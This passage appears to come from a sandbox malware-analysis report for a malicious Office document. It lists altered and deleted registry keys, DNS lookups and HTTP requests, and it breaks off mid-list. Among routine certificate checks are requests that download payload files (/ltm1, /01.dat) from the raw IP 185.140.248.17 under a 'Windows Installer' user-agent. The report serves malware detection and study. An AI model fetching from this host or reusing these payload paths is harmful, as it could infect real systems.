  1089. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1090. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}",
  1091. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1092. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}",
  1093. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1094. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}",
  1095. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1096. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}",
  1097. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1098. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}",
  1099. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1100. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}",
  1101. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1102. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}",
  1103. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1104. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}",
  1105. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1106. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}",
  1107. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1108. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}",
  1109. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1110. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}",
  1111. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1112. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}",
  1113. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1114. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}",
  1115. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1116. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}",
  1117. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1118. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}",
  1119. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1120. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}",
  1121. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1122. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}",
  1123. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1124. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}",
  1125. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1126. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}",
  1127. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}\\(Default)",
  1128. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}",
  1129. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}\\(Default)",
  1130. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}",
  1131. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\\(Default)",
  1132. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}",
  1133. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\\(Default)",
  1134. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}",
  1135. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1136. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}",
  1137. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1138. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}",
  1139. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1140. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}",
  1141. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1142. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}",
  1143. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1144. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}",
  1145. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1146. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}",
  1147. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1148. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}",
  1149. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1150. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}",
  1151. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1152. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}",
  1153. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1154. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}",
  1155. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1156. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}",
  1157. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1158. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}",
  1159. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1160. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}",
  1161. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1162. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}",
  1163. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1164. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}",
  1165. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1166. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}",
  1167. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1168. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}",
  1169. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1170. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}",
  1171. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}\\(Default)",
  1172. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}",
  1173. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}\\(Default)",
  1174. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}",
  1175. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}\\(Default)",
  1176. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}",
  1177. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}\\(Default)",
  1178. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}",
  1179. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1180. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}",
  1181. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1182. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}",
  1183. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1184. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}",
  1185. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1186. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\VBAFilesIntl_1033",
  1187. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1188. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1189. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1190. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1191. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1192. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1193. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1196. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1198. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1199. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1205. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1210. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1211. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1212. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1213. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1214. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1215. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1216. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1219. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1221. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1222. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905"
  1246. ]
  1247.  
  1248. [*] Deleted Registry Keys: [
  1249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\lz}",
  1250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\o2{",
  1255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905"
  1259. ]
  1260.  
  1261. [*] DNS Communications: [
  1262. {
  1263. "type": "A",
  1264. "request": "crl3.digicert.com",
  1265. "answers": [
  1266. {
  1267. "data": "cs9.wac.phicdn.net",
  1268. "type": "CNAME"
  1269. },
  1270. {
  1271. "data": "72.21.91.29",
  1272. "type": "A"
  1273. }
  1274. ]
  1275. }
  1276. ]
  1277.  
  1278. [*] Domains: [
  1279. {
  1280. "ip": "72.21.91.29",
  1281. "domain": "crl3.digicert.com"
  1282. }
  1283. ]
  1284.  
  1285. [*] Network Communication - ICMP: []
  1286.  
  1287. [*] Network Communication - HTTP: [
  1288. {
  1289. "count": 1,
  1290. "body": "",
  1291. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1292. "user-agent": "Microsoft-CryptoAPI/6.1",
  1293. "method": "GET",
  1294. "host": "ocsp.digicert.com",
  1295. "version": "1.1",
  1296. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1297. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1298. "port": 80
  1299. },
  1300. {
  1301. "count": 1,
  1302. "body": "",
  1303. "uri": "http://crl3.digicert.com/Omniroot2025.crl",
  1304. "user-agent": "Microsoft-CryptoAPI/6.1",
  1305. "method": "GET",
  1306. "host": "crl3.digicert.com",
  1307. "version": "1.1",
  1308. "path": "/Omniroot2025.crl",
  1309. "data": "GET /Omniroot2025.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl3.digicert.com\r\n\r\n",
  1310. "port": 80
  1311. },
  1312. {
  1313. "count": 1,
  1314. "body": "",
  1315. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1316. "user-agent": "Microsoft-CryptoAPI/6.1",
  1317. "method": "GET",
  1318. "host": "ocsp.msocsp.com",
  1319. "version": "1.1",
  1320. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1321. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  1322. "port": 80
  1323. },
  1324. {
  1325. "count": 1,
  1326. "body": "",
  1327. "uri": "http://185.140.248.17/ltm1",
  1328. "user-agent": "Windows Installer",
  1329. "method": "GET",
  1330. "host": "185.140.248.17",
  1331. "version": "1.1",
  1332. "path": "/ltm1",
  1333. "data": "GET /ltm1 HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Windows Installer\r\nHost: 185.140.248.17\r\n\r\n",
  1334. "port": 80
  1335. },
  1336. {
  1337. "count": 1,
  1338. "body": "",
  1339. "uri": "http://185.140.248.17/01.dat",
  1340. "user-agent": "",
  1341. "method": "GET",
  1342. "host": "185.140.248.17",
  1343. "version": "1.1",
  1344. "path": "/01.dat",
  1345. "data": "GET /01.dat HTTP/1.1\r\nHost: 185.140.248.17\r\nCache-Control: no-cache\r\n\r\n",
  1346. "port": 80
  1347. },
  1348. {
  1349. "count": 1,
  1350. "body": "",
  1351. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  1352. "user-agent": "Microsoft-CryptoAPI/6.1",
  1353. "method": "GET",
  1354. "host": "ocsp.digicert.com",
  1355. "version": "1.1",
  1356. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  1357. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 150849\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 10:50:30 GMT\r\nIf-None-Match: \"5ced1276-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1358. "port": 80
  1359. },
  1360. {
